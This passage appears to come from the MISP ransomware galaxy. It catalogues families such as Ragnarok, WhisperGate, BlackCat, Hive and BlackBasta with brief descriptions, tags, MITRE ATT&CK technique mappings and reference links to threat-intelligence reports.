https://twitter.com/kangxiaopao/status/1342027328063295488?lang=en
https://twitter.com/demonslay335/status/1380610583603638277
https://decoded.avast.io/threatresearch/decrypted-mafiaware666-ransomware/
https://files.avast.com/files/decryptor/avast_decryptor_mafiaware666.exe

Uh-Oh

ransomware

The tag is: *misp-galaxy:ransomware="Uh-Oh"*

Mijnal

ransomware

The tag is: *misp-galaxy:ransomware="Mijnal"*

16x

The tag is: *misp-galaxy:ransomware="16x"*

Lockedv1

ransomware

The tag is: *misp-galaxy:ransomware="Lockedv1"*

XD Locker

ransomware

The tag is: *misp-galaxy:ransomware="XD Locker"*

Knot

ransomware

The tag is: *misp-galaxy:ransomware="Knot"*

Parasite

ransomware

The tag is: *misp-galaxy:ransomware="Parasite"*

Judge

ransomware

The tag is: *misp-galaxy:ransomware="Judge"*

DEcovid19

ransomware

The tag is: *misp-galaxy:ransomware="DEcovid19"*

Ragnarok

Ragnarok is is a ransomware that targetscorporate networks in Big Game Huntingtargeted attacks. The ransomware is associated with 'double-extortion' tactic, stealing and publishing files on a data leak site (DLS).

The tag is: *misp-galaxy:ransomware="Ragnarok"*

Table 13639. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnaro
https://borncity.com/win/2021/03/27/tu-darmstadt-opfer-der-ragnarok-ransomware/
https://techcrunch.com/2021/08/30/ragnarok-ransomware-gang-shuts-down-and-releases-its-decryption-key
https://www.cpomagazine.com/cyber-security/ragnarok-ransomware-gang-closes-up-shop-leaves-master-decryptor-key-behind
https://www.sababasecurity.com/cheese-shortage-in-dutch-supermarkets-after-a-ransomware-attack
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://github.com/k-vitali/Malware-Misc-RE/blob/master/2020-01-26-ragnarok-cfg-vk.notes.raw

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://news.sophos.com/en-us/2020/05/21/asnarok2/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-releases-master-decryptor-after-shutdown/
https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-targets-citrix-adc-disables-windows-defender/
https://www.ransomlook.io/group/ragnarok

WhisperGate

Destructive malware deployed against targets in Ukraine in January 2022.

The tag is: *misp-galaxy:ransomware="WhisperGate"*

Table 13640. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.whispergate
https://www.cadosecurity.com/resources-for-dfir-professionals-responding-to-whispergate-malware/
https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/

BlackCat

BlackCat (ALPHV) is ransomware written in Rust. The ransomware makes heavy use of plaintext JSON configuration files to specify the ransomware functionality. BlackCat has many advanced capabilities like escalating privileges and bypassing UAC make use of AES and ChaCha20 or Salsa encryption, may use the Restart Manager, can delete volume shadow copies, can enumerate disk volumes and network shares automatically, and may kill specific processes and services. The ransomware exists for both Windows, Linux, and ESXi systems. Multiple extortion techniques are used by the BlackCat gang, such as exfiltrating victim data before the ransomware deployment, threats to release data if the ransomw is not paid, and distributed denial-of-service (DDoS) attacks.

The tag is: *misp-galaxy:ransomware="BlackCat"*

BlackCat is also known as:

- ALPHV
- Noberus

View relationships graph

BlackCat has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-

language:likelihood-probability="very-likely"

Table 13641. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcat
https://1-id—ransomware-blogspot-com.translate.goog/2021/12/blackcat-ransomware.html?_x_tr_enc=1&_x_tr_sl=ru&_x_tr_tl=en&_x_tr_hl=ru
https://medium.com/s2wblog/blackcat-new-rust-based-ransomware-borrowing-blackmatters-configuration-31c8d330a809
https://github.com/f0wl/blackCatConf
https://www.sentinelone.com/labs/blackcat-ransomware-highly-configurable-rust-driven-raas-on-the-prowl-for-victims/
https://www.varonis.com/blog/alphv-blackcat-ransomware
https://www.intrinsec.com/alphv-ransomware-gang-analysis
https://unit42.paloaltonetworks.com/blackcat-ransomware/
https://www.cyber.gov.au/acsc/view-all-content/advisories/2022-004-acsc-ransomware-profile-alphv-aka-blackcat
https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/
https://blog.emsisoft.com/en/40931/ransomware-profile-alphv/
https://blog.group-ib.com/blackcat
https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://killingthebear.jorgetesta.tech/actors/alphv
https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/
https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://securelist.com/a-bad-luck-blackcat/106254/
https://securelist.com/new-ransomware-trends-in-2022/106457/
https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments
https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html
https://twitter.com/sisoma2/status/1473243875158499330
https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive
https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/

https://www.forescout.com/resources/analysis-of-an-alphv-incident

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/blackcat-ransomware-as-a-service.html

https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/

https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf

https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf

https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf

https://id-ransomware.blogspot.com/2021/12/blackcat-ransomware.html

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf

https://securelist.com/modern-ransomware-groups-ttps/106824/

https://securityscorecard.com/blog/ttps-associated-with-new-version-of-blackcat-ransomware

https://securityscorecard.com/research/deep-dive-into-alphv-blackcat-ransomware

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps

https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/

https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape

https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group

https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/

https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware

https://www.ic3.gov/Media/News/2022/220420.pdf

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

https://www.microsoft.com/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/

https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/

https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf

https://www.trendmicro.com/en_us/research/22/d/an-investigation-of-the-blackcat-ransomware.html

https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022
https://www.ransomlook.io/group/alphv

Mount Locker

Ransomware

The tag is: *misp-galaxy:ransomware="Mount Locker"*

Mount Locker is also known as:

- Mount-Locker

Table 13642. Table References

Links
https://www.cyclonis.com/mount-locker-ransomware-more-dangerous
https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-joins-the-multi-million-dollar-ransom-game
https://www.securitymagazine.com/articles/94954-sophos-identifies-connection-between-mount-locker-and-astro-locker-team-ransomware
https://www.ransomlook.io/group/mount-locker

Astro Locker

Ransomware

The tag is: *misp-galaxy:ransomware="Astro Locker"*

Table 13643. Table References

Links
https://threatpost.com/mount-locker-ransomware-changes-tactics/165559/
https://news.sophos.com/en-us/2021/03/31/sophos-mtr-in-real-time-what-is-astro-locker-team/

Pandora

Ransomware

The tag is: *misp-galaxy:ransomware="Pandora"*

Table 13644. Table References

Links
https://twitter.com/malwrhunterteam/status/1501857263493001217

https://dissectingmalwa.re/blog/pandora
https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/
https://cloudsek.com/technical-analysis-of-emerging-sophisticated-pandora-ransomware-group/
https://dissectingmalwa.re/blog/pandora/
https://kienmanowar.wordpress.com/2022/03/21/quicknote-analysis-of-pandora-ransomware/
https://www.fortinet.com/blog/threat-research/Using-emulation-against-anti-reverse-engineering-techniques
https://www.fortinet.com/blog/threat-research/looking-inside-pandoras-box
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://www.ransomlook.io/group/pandora

Rook

Ransomware

The tag is: *misp-galaxy:ransomware="Rook"*

Table 13645. Table References

Links
https://www.sentinelone.com/labs/new-rook-ransomware-feeds-off-the-code-of-babuk
https://twitter.com/techyteachme/status/1464317136944435209
https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/
https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/
https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit.md
https://seguranca-informatica.pt/rook-ransomware-analysis/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://www.sentinelone.com/labs/new-rook-ransomware-feeds-off-the-code-of-babuk/
https://www.ransomlook.io/group/rook

HelloXD

HelloXD is a ransomware family performing double extortion attacks that surfaced in November 2021. During our research we observed multiple variants impacting Windows and Linux systems. Unlike other ransomware groups, this ransomware family doesn't have an active leak site; instead it prefers to direct the impacted victim to negotiations through TOX chat and onion-based messenger instances.

The tag is: *misp-galaxy:ransomware="HelloXD"*

Table 13646. Table References

Links
https://unit42.paloaltonetworks.com/helloxd-ransomware/

Maui ransomware

Maui ransomware stand out because of a lack of several key features commonly seen with tooling from RaaS providers, such as an embedded ransom note to provide recovery instructions or automated means of transmitting encryption keys to attackers. Instead, it is believed that Maui is manually operated, in which operators will specify which files to encrypt when executing it and then exfiltrate the resulting runtime artifacts. There are many aspects to Maui ransomware that are unknown, including usage context.

The tag is: *misp-galaxy:ransomware="Maui ransomware"*

Table 13647. Table References

Links
https://stairwell.com/wp-content/uploads/2022/07/Stairwell-Threat-Report-Maui-Ransomware.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-187a

Lorenz Ransomware

Lorenz is a ransomware group that has been active since at least February 2021 and like many ransomware groups, performs double-extortion by exfiltrating data before encrypting systems.

The tag is: *misp-galaxy:ransomware="Lorenz Ransomware"*

Table 13648. Table References

Links
https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/

Hive

First observed in June 2021, Hive ransomware was originally written in GoLang but recently, new Hive variants have been seen written in Rust. Targets Healthcare sector.

The tag is: *misp-galaxy:ransomware="Hive"*

Table 13649. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hive
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf
https://www.sentinelone.com/labs/hive-attacks-analysis-of-the-human-operated-ransomware-targeting-healthcare/
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive
https://www.microsoft.com/en-us/security/blog/2022/07/05/hive-ransomware-gets-upgrades-in-rust/
https://yoroi.company/wp-content/uploads/2022/07/Yoroi-On-The-Footsteps-of-Hive-Ransomware.pdf
https://www.varonis.com/blog/hive-ransomware-analysis
https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/
https://inf.news/en/tech/c28d9382ab78a5ac3d8fc802f3f0f1e0.html
https://www.healthcareitnews.com/news/fbi-issues-alert-about-hive-ransomware
https://arxiv.org/pdf/2202.08477.pdf
https://blog.group-ib.com/hive
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://github.com/rivitna/Malware/tree/main/Hive
https://lifars.com/2022/02/how-to-decrypt-the-files-encrypted-by-the-hive-ransomware/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://securityaffairs.co/wordpress/128232/security/recover-files-hive-ransomware.html
https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html
https://therecord.media/academics-publish-method-for-recovering-data-encrypted-by-the-hive-ransomware/
https://therecord.media/hive-ransomware-shuts-down-california-health-care-organization/
https://twitter.com/ESETresearch/status/1454100591261667329
https://twitter.com/malwrhunterteam/status/1455628865229950979
https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/

https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again
https://yoroi.company/research/on-the-footsteps-of-hive-ransomware/
https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html
https://labs.sentinelone.com/hive-attacks-analysis-of-the-human-operated-ransomware-targeting-healthcare/
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf?1651576098
https://securelist.com/modern-ransomware-groups-ttps/106824/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://unit42.paloaltonetworks.com/emerging-ransomware-groups/
https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group
https://www.bleepingcomputer.com/news/security/hive-ransomware-uses-new-ipfuscation-trick-to-hide-payload/
https://www.connectwise.com/resources/hive-profile
https://www.ic3.gov/Media/News/2021/210825.pdf
https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_hive_2021_v1.pdf
https://www.microsoft.com/security/blog/2022/07/05/hive-ransomware-gets-upgrades-in-rust/
https://www.netskope.com/blog/hive-ransomware-actively-targeting-hospitals
https://www.scmagazine.com/brief/breach/novel-obfuscation-leveraged-by-hive-ransomware
https://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/
https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://www.ransomlook.io/group/hive

QuantumLocker

The tag is: *misp-galaxy:ransomware="QuantumLocker"*

QuantumLocker is also known as:

- Quantum
- Mount Locker
- DagonLocker

View relationships graph

QuantumLocker has relationships with:

- similar: misp-galaxy:ransomware="Mountlocket" with estimative-language:likelihood-probability="likely"
- successor-of: misp-galaxy:ransomware="Conti" with estimative-language:likelihood-probability="likely"

Table 13650. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker
https://securityscorecard.pathfactory.com/research/quantum-ransomware
https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-joins-the-multi-million-dollar-ransom-game/
https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-now-targets-your-turbotax-tax-returns/
https://dissectingmalwa.re/between-a-rock-and-a-hard-place-exploring-mount-locker-ransomware.html
https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates
https://github.com/Finch4/Malware-Analysis-Reports/tree/master/MountLocker
https://chuongdong.com/reverse%20engineering/2021/05/23/MountLockerRansomware/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-virtual-machines
https://kienmanowar.wordpress.com/2021/08/04/quicknote-mountlocker-some-pseudo-code-snippets/
https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware
https://thedfirreport.com/2022/04/25/quantum-ransomware/
https://www.ransomlook.io/group/quantum
https://www.ransomlook.io/group/dagonlocker
https://www.sentinelone.com/anthology/dagon-locker/
https://asec.ahnlab.com/en/42037/
https://www.broadcom.com/support/security-center/protection-bulletin/dagon-locker-ransomware
https://mphasis.com/content/dam/mphasis-com/global/en/home/services/cybersecurity/icedid-infection-to-dagon-locker-ransomware-apr29-22-7.pdf

BlackBasta

Black Basta is a new ransomware strain discovered during April 2022 - looks in dev since at least early February 2022 - and due to their ability to quickly amass new victims and the style of their negotiations, this is likely not a new operation but rather a rebrand of a previous top-tier ransomware gang that brought along their affiliates.

The tag is: *misp-galaxy:ransomware="BlackBasta"*

View relationships graph

BlackBasta has relationships with:

- successor-of: misp-galaxy:ransomware="Conti" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:botnet="Qbot" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-

probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-

language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Initial Access" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Execution" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Persistence" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Privilege Escalation" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Defense Evasion" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Credential Access" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Discovery" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Lateral Movement" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Collection" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Command and Control" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Impact" with estimative-language:likelihood-probability="very-likely"

Table 13651. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbasta
https://www.bleepingcomputer.com/news/security/american-dental-association-hit-by-new-black-basta-ransomware/
https://www.bleepingcomputer.com/news/security/new-black-basta-ransomware-springs-into-action-with-a-dozen-breaches/
https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html

https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://securityintelligence.com/posts/black-basta-ransomware-group-besting-network/
https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware
https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/
https://gbhackers.com/black-basta-ransomware/
https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html
https://securelist.com/luna-black-basta-ransomware/106950/
https://securityscorecard.com/research/a-deep-dive-into-black-basta-ransomware
https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta
https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/
https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/
